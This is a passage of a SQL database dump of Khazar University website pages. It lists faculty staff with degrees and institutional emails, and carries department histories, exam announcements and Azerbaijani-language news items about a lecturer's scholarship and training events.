State University, Russia)<strong></strong></p><p>PhD&nbsp;in Mathematics (Lomonosov&nbsp;Moscow State University, Russia)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:nkarimov[at]khazar.org\">nkarimov[at]khazar.org</a></p><p><br></p><p><br></p><hr><img src=\"/files/math_depart/ali_h.jpg\" style=\"float:left;width:150px;height:164px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/pdf/Ali%20Huseynli%20cv.pdf\">Ali Huseynli</a></strong></p><p>PhD&nbsp;in Mathematics&nbsp;(Institute of Mathematics and Mechanics, Azerbaijan National Academy of Sciences)</p><p>MS&nbsp;in Mathematics (Baku State University, Azerbaijan)</p><p><strong></strong><strong>E-mail:</strong>&nbsp;<a href=\"mailto:ahuseynli[at]khazar.org\">ahuseynli[at]khazar.org</a></p><p><br></p><hr><strong></strong><img src=\"http://www.khazar.org/files/math_depart/ibrahim_n.jpg\" style=\"float:left;width:150px;height:151px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/pdf/CV-Europass-20160318-Nabiev-EN%20(1).pdf\">I</a></strong><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/pdf/CV-Europass-20160318-Nabiev-EN%20(1).pdf\">brahim Nabiev</a></strong></p><p>Doctor of Science&nbsp;(Institute of Mathematics and Mechanics, Azerbaijan National Academy of Sciences)</p><p>PhD&nbsp;in Mathematics (Institute of Mathematics and Mechanics, Azerbaijan National Academy of Sciences)</p><p><strong>E-mail:</strong> <a href=\"mailto:nabievim[at]yahoo.com\">nabievim[at]yahoo.com</a>&nbsp;&nbsp;</p><hr><strong><img src=\"/files/image/Elvin%20Azizbayov.JPG\" style=\"width:150px;height:176px;margin:7px;float:left\"></strong><p><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/pdf/Azizbayov%20E.I..pdf\">Elvin Azizbayov</a>&nbsp;</strong></p> <p>PhD&nbsp;in Mathematics (Institute of Mathematics and Mechanics, Azerbaijan National Academy of Sciences)<br></p><p>MS&nbsp;in Mathematics (Baku State University, Azerbaijan)</p><p><strong>E-mail: </strong><a href=\"mailto:elvin.azizbeyov[at]khazar.org\">elvin.azizbeyov[at]khazar.org</a> &nbsp;</p><p><br></p><hr><strong><a href=\"http://www.khazar.org/files/pdf/CV-Europass-20160318-Garayev-EN.pdf\"><img src=\"/files/math_depart/terlan_g.jpg\" style=\"float:left;width:150px;height:170px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/pdf/CV-Europass-20160318-Garayev-EN.pdf\">Tarlan Garayev</a></strong></p><p>PhD&nbsp;in Mathematics (Institute of Mathematics and Mechanics, Azerbaijan National Academy of Sciences)</p> <p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:qarayevtarlan[at]gmail.com\">qarayevtarlan[at]gmail.com</a>  <br></p><p><br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/letters/AZ_Sadigova%20Sabina_CV.pdf\"><img src=\"http://www.khazar.org/files/letters/Sabina1.jpg\" style=\"float:left;width:150px;height:241px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/AZ_Sadigova%20Sabina_CV.pdf\">Sabina Sadigova</a></strong></p><p>PhD&nbsp;in Mathematics (Institute of Mathematics and Mechanics, Azerbaijan National Academy of Sciences)</p><p>MS&nbsp;in Mathematics (Baku State University, Azerbaijan)   <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:sadigova.sr[at]gmail.com\">sadigova.sr[at]gmail.com</a>&nbsp;</p><p><br></p><p><br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/image/Vusal%20Mammadrzayev%20CV.pdf\">Vusal Mammadrzayev</a></strong><strong><img src=\"http://www.khazar.org/files/image/Vusal%20Mammadrzayev.PNG\" style=\"border:0px #000000;width:150px;height:214px;margin:7px;float:left\"></strong></p><p>MS&nbsp;in&nbsp; Economics and Finance (University of Tübingen, Germany)<strong></strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:v.mammadrzayev[at]iset.ge\">v.mammadrzayev[at]iset.ge</a><br></p><p><br></p><p><br></p>  <p><br></p><p><br></p><hr><p><img src=\"/files/math_depart/javanshir_a.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/math_depart/J.%20Azizov.pdf\">Javanshir Azizov</a></strong></p><p>PhD&nbsp;candidate&nbsp;in Mathematics (Institute of Mathematics and Mechanics, Azerbaijan National Academy of Sciences)</p><p>MS&nbsp;in Mathematics (Baku State University, Azerbaijan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:azizov.javanshir[at]gmail.com\"></a><a href=\"mailto:javanshir.azizov@khazar.org\">javanshir.azizov[at]khazar.org</a></p><p><br></p><hr><p><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/math_depart/CV.CAFAROVA%20LALA.pdf\"><img src=\"/files/math_depart/lala.jpg\" style=\"width:150px;height:175px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Lala Jafarova</a></strong></p> <p>PhD&nbsp;candidate&nbsp;in Mathematics (Baku State University, Azerbaijan)<br></p><p>MS&nbsp;in Mathematics (Baku State University, Azerbaijan)</p>\r\n<p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:ljafarova@khazar.org\">ljafarova[at]khazar.org</a>  <a href=\"mailto:cafarov.90[at]bk.ru\"></a></p><p><br></p>'),(2202,1348,'az','Xəzər Universititenin müəllimi təhsilini təqaüd proqramı ilə Avstraliyada davam etdirəcək','Xəzər Universitetinin Kimya mühəndisliyi və Neft mühəndisliyi departamentlərinin müəllimi Mohammad Mehdi Zarei Avstraliyanın Nyukasl Universitetində təhsilini davam...','<p>Xəzər Universitetinin Kimya\r\nmühəndisliyi və Neft mühəndisliyi departamentlərinin müəllimi Mohammad Mehdi\r\nZarei Avstraliyanın Nyukasl Universitetində təhsilini davam etdirmək üçün tam təqaüd\r\nproqramı qazanmışdır. <strong></strong></p>\r\n<p>Məhəmməd Mehdi Zarei kimya mühəndisliyi\r\nüzrə magistr dərəcəsini İranın Sistan və Bəlucistan Universitetində almışdır.\r\n2014-cü ilin aprelində Xəzər Universitetində fəaliyyətə başlamazdan əvvəl\r\nMohammad Mehdi Zarei İranın iki universitetində − İslam Azad və Mərdəvşt\r\nuniversitetlərində üç il müddətində çalışmışdır. Xəzər Universitetində\r\nçalışdığı müddətdə Mehdi Zarei bakalavr səviyyəsi üzrə kimya mühəndisliyi,\r\nistilikötürmə, kütlə transferi, termodinamika və modelləmə və simulyasiya fənlərini\r\ntədris etmişdir. </p>\r\n<p>Mohammad Mehdi Zareinin tədqiqat\r\nmaraqlarını təşkil edən sahələr sırasına kimya proseslərinin modelləşdirilməsi,\r\nsuyun təmizlənməsi və rezervuar simulyasiyası daxildir. Xəzər Universitetində\r\nçalışdığı vaxtda Mehdi Zarei bir neçə laboratoriyaların qurucularında biri\r\nolmuşdur. Bu labaratoriyalar sırasında Neft və kimya eksperimental tədqiqat\r\nlaboratoriyası, Xəzər Tədqiqat Hesablama Mərkəzi, Modelləşdirmə və simulyasiya\r\nlaboratoriyası var. Mehdi Zarei, o cümlədən, Kimya mühəndisliyi departamentinin\r\nyaradılmasında da yaxından iştirak etmişdir. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Mehdi Zareinin beynəlxalq təcrübəsinə müxtəlif\r\nkonfranslarda iştirak daxildir – ən son Neft Mühəndisliyi Cəmiyyətinin illik Xəzər\r\nTexniki konfrans və sərgisində (Bakı, 4-6 noyabr, 2015-ci il) və Kimya Mühəndisliyi\r\nAmerika İnstitutunun illik konfransında (Solt Leyk siti, 8-13 noyabr, 2015-ci\r\nil) iştirak etmişdir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Mehdi Zarei kimya və neft mühəndisliyi\r\neksperimental tədqiqat labaratoriyası sahəsində təqiqatını daha da dərinləşdirmək\r\nüçün doktorluq üzrə tədqiqat aparmaq qərarına gəldikdən sonra Nyukasl\r\nUniversitetindən təqaüd qazanmışdır. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Doktorluq dərəcəsini qazandıqdan sonra Mehdi Zarei\r\nXəzər Universitetində başladığı işləri davam etdirməyi və tədqiqatını genişləndirməyi\r\nplanlaşıdırır. &nbsp;</p>'),(342,208,'az','Dekanlıq Heyəti','Dekanlıq Heyəti','<p><img src=\"/files/image/CABIR%20KHALILOV.jpg\" style=\"width:150px;height:174px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\">Cabir Z.&nbsp;Xəlilov</a>&nbsp;-&nbsp;Dekan</strong></p><p><strong>(Fəlsəfə doktoru,&nbsp;Dosent)</strong></p><p>Magistr* Hüquq (Hüquq fakültəsi, Moskva Dövlət Universiteti, Rusiya)</p><p>Tədqiqat maraqları: Kriminal hüquq, Hadisə, Hüquq mühafizə orqanları, Avropa hüququ, Hüquqi təhsil.</p><p style=\"color:#0000cc\"><strong style=\"color:#000000\">E-poçt:&nbsp;</strong><a href=\"http://mailto:cxalilov@khazar.org\">cxalilov[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><img src=\"/files/letters/v_k.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:170px\"><a href=\"http://www.khazar.org/files/social/1/cv_valida1.pdf\">Validə S. Kərimova</a><a href=\"http://www.khazar.org/files/social/1/cv_valida.pdf\"></a><a href=\"http://www.khazar.org/files/social/1/cv_vali.pdf\"></a>&nbsp;-&nbsp;Dekan müavini  </strong></p><p><strong>(Doktorant, German dilləri)&nbsp;</strong></p><p>Magistr* Dilşünaslıq, Fərqlənmə (Xəzər Universiteti, Azərbaycan)</p><p><strong><a href=\"http://www.khazar.org/files/social/1/elmi%20eserlerin%20siyah%C4%B1s%C4%B1-valida1.pdf\">Tədqiqat maraqları</a></strong><a href=\"http://www.khazar.org/files/social/1/elmi%20eserlerin%20siyah%C4%B1s%C4%B1_valida.pdf\"></a>: Dilçilik,&nbsp;Britaniya və Amerika ədəbiyyatı.</p><p style=\"color:#0000cc\"><strong style=\"color:#000000\">E-poçt: </strong><a href=\"http://mailto:vkerimova@khazar.org\">vkerimova[at]khazar.org</a></p><p style=\"color:#0000cc\"><br></p>  <p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://www.khazar.org/files/social/1/CV_Pasha.pdf\">Paşa A.&nbsp;Aydayev</a>&nbsp;-&nbsp;Dekan assistenti</strong><strong><img src=\"/files/social/1/12cbbe3.jpg\" style=\"width:144px;height:200px;margin:7px;float:left\"></strong></p><p>Bakalavr* Politologiya, Fərqlənmə (Xəzər Universiteti, Azərbaycan)<a href=\"http://www.khazar.org/files/social/1/Pasha.CV.A.pdf\"></a></p><p>Tədqiqat maraqları: Millətçilik və İqtisadiyyat, Ərazi konfliktləri, Regional inteqrasiya, Qloballaşma.</p><p><span style=\"color:#0000cc\"><strong style=\"color:#000000\">E-poçt:&nbsp;</strong></span><span style=\"color:#0000cc\"><a href=\"http://mailto:paydayev@khazar.org\">paydayev[at]khazar.org</a>  </span></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><img src=\"/files/letters/elkhan_k.jpg\" style=\"border:0px  #000000;width:150px;height:174px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/letters/Elxan_Kasimov_(CV-AZ).pdf\">Elxan E. Kasimov</a></strong> - <strong>Dekan assistenti</strong><br></p><p>Bakalavr* Beynəlxalq münasibətlər (Xəzər Universiteti, Azərbaycan)</p><p>Tədqiqat maraqları:&nbsp;Dövlətlərarası konfliktlər, Dövlətlərarası münaqişələrin həlli, İctimai diplomatiya, Xarici siyasət</p><p><strong>E-poçt:</strong><strong>&nbsp;</strong><a href=\"mailto:elkhan.kasimov@khazar.org\">elkhan.kasimov[at]khazar.org</a></p>  <p><br></p>'),(343,208,'en','Faculty\'s Staff','Faculty\'s Staff','<img src=\"http://www.khazar.org/files/image/CABIR%20KHALILOV.jpg\" style=\"width:150px;height:174px;margin:7px;float:left\"><p><strong><strong><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\">Jabir Z.&nbsp;Khalilov</a>&nbsp;-&nbsp;Dean&nbsp;</strong></strong></p><p><strong>S.J.D.,&nbsp;Associate Professor</strong></p><p>Master of Laws (School of Law, Lomonosov Moscow State University)<br></p> <p>Research interests: Criminal Procedure, Evidence, Law Enforcement systems, European law, Legal education etc.</p><p style=\"color:#0000cc\"><strong style=\"color:#000000\">E-mail: </strong><a href=\"http://mailto:cxalilov@]khazar.org\">cxalilov[at]khazar.org</a></p><p style=\"color:#0000cc\"><br></p><p style=\"color:#0000cc\"><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><strong><img src=\"http://www.khazar.org/files/letters/v_k.jpg\" style=\"width:150px;height:170px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/social/1/cv_valida1.pdf\">Valida S.&nbsp;Karimova</a><a href=\"http://www.khazar.org/files/social/1/cv_valida.pdf\"></a>&nbsp;-&nbsp;Vice-Dean&nbsp;&nbsp;</strong></strong></p><p><strong>Ph.D.&nbsp;candidate&nbsp;in Germanic languages&nbsp;</strong></p><p>MA* in Linguistics, Honor diploma (Khazar University, Azerbaijan)</p><p><strong><a href=\"http://www.khazar.org/files/social/1/elmi%20eserlerin%20siyah%C4%B1s%C4%B1-valida1.pdf\">Research interests</a></strong>: Linguistics,&nbsp;British&amp;American literature etc.</p><p><span style=\"color:#0000cc\"><strong style=\"color:#000000\">E-mail:</strong> <a href=\"http://mailto:vkerimova@khazar.org\">vkerimova[at]khazar.org</a></span></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><strong><a href=\"http://www.khazar.org/files/social/1/CV_Pasha.pdf\">Pasha A.&nbsp;Aydayev</a><a href=\"http://www.khazar.org/files/social/1/CV.Pasha.E.pdf\"></a>&nbsp;-&nbsp;</strong></strong><strong>Dean Assistant&nbsp;</strong><strong><img src=\"http://www.khazar.org/files/social/1/12cbbe3.jpg\" style=\"border:0px  #000000;width:144px;height:200px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"></strong></p><p>BA* in Political Sciences, Honor diploma (Khazar University, Azerbaijan)</p><p>Research interests: Nationalism and Economy, Territorial conflicts, Regional integration, Critique, and Globalization.</p><p><span style=\"color:#0000cc\"><strong style=\"color:#000000\">E-mail:&nbsp;</strong><a href=\"http://mailto:paydayev@khazar.org\">paydayev[at]khazar.org</a></span></p><p><strong><br></strong></p><p><strong>&nbsp;</strong></p><p><strong><br></strong></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"http://www.khazar.org/files/letters/elkhan_k.jpg\" style=\"border:0px  #000000;width:150px;height:174px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/social/1/CV-Europass-20181012-Kasimov-EN.pdf\">Elkhan E. Kasimov</a></strong> - <strong>Dean Assistant</strong><br></p><p>BA* in&nbsp;International Relations (Khazar University, Azerbaijan)</p><p>Research interests: Interstate conflicts, Solutions of interstate conflicts, Public Diplomacy, Foreign policy <br></p><p><strong>E-mail:</strong><strong>&nbsp;</strong><a href=\"mailto:elkhan.kasimov@khazar.org\">elkhan.kasimov[at]khazar.org</a></p>  <p><br></p>'),(2895,1720,'en','“Accessible Education- Accessible Future” Training in Media','On December 9-10, 2016, a training event called “Accessible Education- Accessible Future” was held at Khazar University with the support of the Center for Students...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nDecember 9-10, 2016, a training event called “Accessible Education- Accessible\r\nFuture” was held at Khazar University with the support of the Center for\r\nStudents with Disabilities which was created as part of the “Establishment of a\r\nFoundation for the Integration of Disabled People into HEIs of Azerbaijan”\r\nproject. <strong><em>Azpress.az </em></strong>published an article about the event on their\r\nwebsite, which is available at the following link: </p>\r\n<p><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=63787\">http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=63787</a>.</p>'),(344,213,'en','History','','<p>Department of Mathematics was founded on October 1, 1993. The Department offers programs leading to MS and PhD degrees in Mathematics and Applied Mathematics. Some interdepartmental programs within Mathematics are available to students willing to combine their interests in Mathematics with other concentrations. The Department serves all Khazar University schools delivering courses of Pre-calculus, General and Advanced Calculus, Differential Equations, Linear and Applied Algebra, Operations Research, General Statistics, as well as Biostatistics and Business Statistics, Mathematics for Economics and Business, etc.</p><p>Since 2009 the Department of Mathematics has offered undergraduate programs in Mathematics and Computer Education. The Bachelor Degree Program in Mathematics and Computer Education is an interdepartmental program offered jointly by the Department of Mathematics and the Department of Computer Science. </p>'),(345,207,'en','Message from the Chair','Message from the Chair','<p style=\"text-align:justify\">The Department of Economics and Management (DEM) offers flexible and innovative undergraduate, graduate and doctoral degree programs that cover the main areas of business and economics. All of the departmental programs are designed to meet the requirements of the students and professionals through building a strong platform for their future career development. The aim of the DEM is to furnish the students with substantive decision-making skills and tools, as well as the functional knowledge required to effectively manage composite businesses in today\'s competitive global environment.</p><p style=\"text-align:justify\">Under various partnership programs, the DEM is affiliated with a number of business departments of a leading US and European universities. It is for this reason that all of the faculty members of the DEM have been participating in academic training and development programs conducted overseas. In addition, scholars from partner universities take an active part in the processes of program validation/review, faculty training/ development, curriculum development/assessment, etc., within the DEM.</p><p style=\"text-align:justify\">At present the DEM consists of five divisions: Economics, Management, Marketing, Accounting and Finance, and graduate programs. Each division, with its small administrative structure, is responsible for the development of programs within its area. Research interests of the faculty members of the DEM cover the following subject areas: Economic Analysis, Development Economics, Corporate Governance, Decision Science, Finance and Banking, Management, International Trade and Business, Regional Economics, Information Technology, Economic and Business Education.</p><p style=\"text-align:justify\">The mission of the Department of Economics and Management is to provide students with an understanding of economic and management principles that will be useful throughout their careers. We address both the immediate application of problem-solving techniques and the conceptual basis for those techniques.</p><p style=\"text-align:justify\">All department majors are designed to provide a basic understanding of the framework and key institutions of modern economic systems. Each major also provides students with the opportunity to develop expertise in quantitative analysis of economic and business data.</p><p style=\"text-align:justify\">Meanwhile, strong academic and professional networks offer tremendous opportunities for intellectual exchange and experience within Azerbaijan and overseas.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>Dr. Jeyhun Mammadov</strong></p><p style=\"text-align:justify\"><strong>Department Chair</strong></p>'),(1838,1134,'az','Avrasiya Bilik Mərkəzinin “Təbii sərvətlərdən davamlı inkişafa doğru” mövzusunda 8 günlük təliminə start verildi','2016-cı il mayın 21-də Xəzər Universitetində fəaliyyət göstərən Avrasiya Bilik Mərkəzinin  “Təbii sərvətlərdən davamlı inkişafa doğru” mövzusunda 8 günlük təliminə start verildi.','<p>2016-cı il mayın 21-də Xəzər Universitetində fəaliyyət göstərən\r\nAvrasiya Bilik Mərkəzinin&nbsp; “Təbii\r\nsərvətlərdən davamlı inkişafa doğru” mövzusunda 8 günlük təliminə start\r\nverildi.</p>\r\n<p>Altı ölkənin – Azərbaycan, Gürcüstan, Ukrayna, Qazaxıstan,\r\nQırğızıstan və Tacikistanın elmi-tədqiqat institut və universitetləri, dövlət\r\nqurumları, media mənsublarının və eləcə də, vətəndaş cəmiyyəti təmsilçilərinin 25\r\nnümayəndəsinin iştirak etdiyi təlimin açılışında Xəzər Universitetinin\r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı,\r\nAvrasiya Bilik Mərkəzinin direktoru İnqilab Əhmədov çıxış edərək, iştirakçıları\r\nsalamladılar, təlimin məqsədi və praktiki əhəmiyyətindən, təqdim olunan\r\nmövzuların aktuallığından danışdılar.</p>\r\n<p>Mayın 28-nə kimi davam edəcək təlimdə iştirakçılara təbii\r\nsərvətlərdən əldə olunan gəlirlərin davamlı inkişafa doğru effektiv istifadə\r\nsahəsində bilik və bacarıqlar aşılanacaq.</p>'),(1839,1135,'az','Seminar uğurlu keçdi','2016-cı il mayın 19-da “Xəzər Humanitar və Sosal Elmlər Jurnalı”nın redaktor müavini Xəyalə Məmmədova Bakı Dövlət Universitetinin Sosial elmlər və psixologiya fakültəsinin dekanlığı tərəfindən','<p>2016-cı il mayın 19-da “Xəzər Humanitar və Sosal Elmlər Jurnalı”nın\r\nredaktor müavini Xəyalə Məmmədova Bakı Dövlət Universitetinin Sosial elmlər və psixologiya fakültəsinin dekanlığı tərəfindən\r\nfakültənin müəllim və işçi heyətinə “Beynəlxalq jurnallar üçün elmi məqalənin\r\nyazılması və jurnala təqdim edilməsi qaydaları haqqında” seminar təşkil etmək\r\nüçün dəvət edilmişdi.</p>\r\n<p>Təxminən 2 saat davam edən\r\nseminarda beynəlxalq jurnalların tələblərinə uyğun məqalənin hazırlanma\r\nqaydaları ilə yerli elmi jurnallara təqdim edilən elmi məqalələr arasında\r\nmüqayisəli təhlil aparılaraq, aşkar olunan problemlər analiz edildi. Elmi məqaləni\r\ntələblərə uyğun hazırlamaqdan əvvəl, düzgün beynəlxalq jurnalı seçmə yolları haqqında\r\nseminar iştirakçıları geniş məlumatlandırıldı. </p>\r\n<p>Xəyalə Məmmədova seminarda “Xəzər\r\nvə Humanitar Sosial Elmlər Jurnalı”nın bugünkü nailiyyətləri haqqında təqdimat\r\netdikdən sonra seminar iştirakçılarının mövzu ilə əlaqədar bütün suallarını\r\ncavablandırdı.</p>'),(346,214,'en','Announcements','Announcements','<h3><strong><strong>Midterm exams</strong>  <br></strong></h3><p><strong>Midterm exams</strong>&nbsp;will be conducted &nbsp;between&nbsp;2 and&nbsp;22&nbsp;November, 2016.</p><p><a href=\"http://www.khazar.org/files/eco_depart/midterm%202016%20fall.pdf\">View midterm&nbsp;exam table for Fall 2016</a></p><p><a href=\"http://www.khazar.org/files/eco_depart/midterm%202016%20fall.pdf\"></a><strong>Midterm exams</strong>&nbsp;will be conducted &nbsp;between 3&nbsp;and&nbsp;22&nbsp;April, 2017.</p><p><a href=\"http://www.khazar.org/files/economics/a_midterm_2017_spring.pdf\">Schedule of Mid-term&nbsp;exams Spring 2017</a></p><p><strong>Final exams</strong>&nbsp;will be conducted &nbsp;between&nbsp;1 and&nbsp;21&nbsp;June, 2017.  <br></p><p><a href=\"http://www.khazar.org/files/eco_depart/Final%20exam%20spring%202017%20BBA.pdf\">View final&nbsp;exam table for Spring&nbsp;2017</a><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong>\"Health Tourism Seminar\"</strong>&nbsp;on 12th October 2017 at Khazar University.<sup></sup></p><p><a href=\"http://www.khazar.org/files/eco_depart/poster-sehiyye4-n.jpg\"><img src=\"/files/eco_depart/poster-sehiyye4-n.jpg\" style=\"width:200px;height:294px;margin-left:7px\"></a><br></p><p><strong>Midterm exams</strong>&nbsp;will be conducted &nbsp;between&nbsp;&nbsp;1&nbsp;and&nbsp;22 November, 2017.  <br></p><p><a href=\"http://www.khazar.org/files/economics/a_mid_2017_fall.pdf\">View Midterm exam table for Fall 2017</a></p><p><br></p><p><em><strong>On November 23, 2017,&nbsp; P&amp;G company will conduct a seminar on \"Experience&nbsp;P<em><strong>&amp;</strong></em>G&nbsp;s Internship&nbsp; and Full-Time Opportunities\" at Khazar University.</strong></em></p><p><br></p><p><a href=\"http://www.khazar.org/files/eco_depart/Nargiz%20poster.pdf\">Meeting with BP TEAM on Friday, December 1, 2017 in Marble Hall. </a> <br></p><p><br></p><p><strong>Tranings</strong></p><p><strong>Training</strong> will be hold on 1<sup>st</sup> of December at 12:00\r\npm by Training and Education Center of Chamber of Financial Monitoring.&nbsp;</p><p><strong>The\r\nsubjects are</strong>: “Capital market financing, Securities investment services in the\r\nsecurities market, risks and controls, Listing on the Baku Stock Exchange” .<o:p></o:p></p> <p><br></p>'),(347,215,'en','Programs','Programs',''),(348,216,'en','Faculty and Staff','Faculty and Staff','<p><img src=\"/files/demo/14_11_01_Jeyhun-Mammadov.jpg\" style=\"border:7px;margin:7px;width:150px;height:163px;float:left\"><strong><a href=\"http://www.khazar.org/files/demo/JMammadov_CV.pdf\">Dr. Jeyhun Mammadov</a></strong></p><p>Dean of Economics and Management Faculty  <br></p> <p>Head of Economics and Management Department</p><p>Ph.D. in Economics, Bielefeld University, Germany&nbsp;</p><p>M.Sc. Universidade Nova de Lisboa,&nbsp;Portugal  <br></p>\r\n<p style=\"padding-left:160px\"><strong>E-mail: </strong><a href=\"mailto:Jmammadov@khazar.org\">jmammadov[at]khazar.org</a>  <a href=\"mailto:Jmammadov@khazar.org\"></a></p><p style=\"padding-left:160px\"><a href=\"mailto:Jmammadov@khazar.org\"></a><strong>Phone:</strong>&nbsp;(+994 12) 421&nbsp;79 16 (277)</p>\r\n<hr>\r\n<p style=\"text-align:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/Shahriyar_Mukhtarov.pdf\"><img src=\"/files/eco_depart/Sekil%20Muxtarov.jpg\" style=\"border:7px;margin:7px;width:150px;height:130px;float:left\">Dr.&nbsp;Shahriyar Mukhtarov</a></strong></p><p>Vice-dean of the faculty of Economics and Management</p><p>Ph.D.&nbsp;in&nbsp;Banking, Marmara University, Turkey  <br></p><p>M.Sc.&nbsp;in&nbsp;Banking, Marmara University, Turkey&nbsp;</p><p><strong><strong>E-mail:&nbsp;</strong><a href=\"mailto:smukhtarov[at]khazar.org\">smukhtarov[at]khazar.org</a>  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong>Phone:</strong>&nbsp;(+994 12) 421&nbsp;79 16 (259)&nbsp;</p>\r\n<hr>\r\n<p><img src=\"/files/demo/M_Nuriyev.jpeg\" style=\"border:0px  #000000;width:150px;height:189px;float:left;margin:7px\"><strong><a href=\"http://www.khazar.org/files/demo/Mahammad_Nuriyev_CV.pdf\">Prof.&nbsp;Mahammad Nuriyev</a></strong></p><p>Vice-Rector for Academic Affairs</p><p>Dr.&nbsp;in Management Information Systems,&nbsp;Azerbaijan State Oil Academy  <br></p><p>M.Sc.  Azerbaijan Institute of Oil and Chemistry, Azerbaijan<br></p>\r\n<p><a href=\"mailto:mnouriev@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:mnouriev@khazar.org\">mnouriev[at]khazar.org</a>  <a href=\"mailto:mnouriev@khazar.org\"></a></p>\r\n<p><strong>Phone:</strong>&nbsp;(+994 12) 421&nbsp;79&nbsp;16 (223)</p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/14_12_19_PROFINGILABAHMADOV1.jpg\" style=\"margin:7px;width:150px;height:202px;float:left\"><a href=\"http://www.khazar.org/files/demo/IngilabAhmadovCV1%20(2).pdf\">Prof. Ingilab Ahmadov</a></strong></p><p>Professor of Economics <br></p><p>D.Sc.&nbsp;Economics, Saint Petersburg State University, Russia  <br></p><p>M.Sc.  Leningrad State University, Russia<br></p>\r\n<p><strong>E-mail:&nbsp;</strong><a href=\"mailto:mnouriev@khazar.org\">ingilab[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/13_09_18_FRasulov.JPG\" style=\"margin:7px;float:left;width:150px;height:205px\"><a href=\"http://www.khazar.org/files/demo/FuatRasulovCV%20(1).pdf\">Prof. Fuat Rasulov</a></strong></p><p>Professor&nbsp;of Economics</p><p>Ph.D. Moscow Institute for Management of Public Economy, Russia, Professor of Managerial Sciences  <br></p><p>M.Sc.&nbsp;Azerbaijan Institute of Oil and Chemistry, Azerbaijan<br></p>\r\n<p><a href=\"mailto:mnouriev@khazar.org\"></a><a href=\"mailto:mnouriev@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:mnouriev@khazar.org\">frasulov[at]khazar.org</a>  <a href=\"mailto:mnouriev@khazar.org\"></a></p>\r\n<p><strong>Phone: (</strong>+994 12) 421&nbsp;79 16</p>\r\n<hr>\r\n<strong><a href=\"http://www.khazar.org/files/eco_depart/CV_RovshanGuliev.pdf\"><img src=\"/files/eco_depart/PICT1232.JPG\" style=\"border:7px;margin:7px;width:150px;height:223px;float:left\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV_RovshanGuliev.pdf\">Prof. Rovshan Guliyev</a></strong><br></p><p>Instructor of Economics  <br></p><p>D.Sc. Moscow Institute of Agrarian Problems &amp; Informatics, Russia</p><p>M.Sc. The Institute of Agrarian Problems and Informatics, Moscow (Russia)&nbsp;&nbsp;</p><p><br></p><p><br></p><p><br></p>\r\n<hr><strong><a href=\"http://www.khazar.org/files/economics/CV-Elsevar-Ibadov.pdf\"><p><img src=\"http://www.khazar.org/files/economics/elsevar_ibadov.png\" style=\"width:150px;height:184px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Dr.&nbsp;Elsevar Ibadov</p></a></strong><p>Coordinator&nbsp;in Economics and Management Department&nbsp;<br></p><p>PhD in Financial Accounting (Ataturk University, Turkey)</p><p>MS in 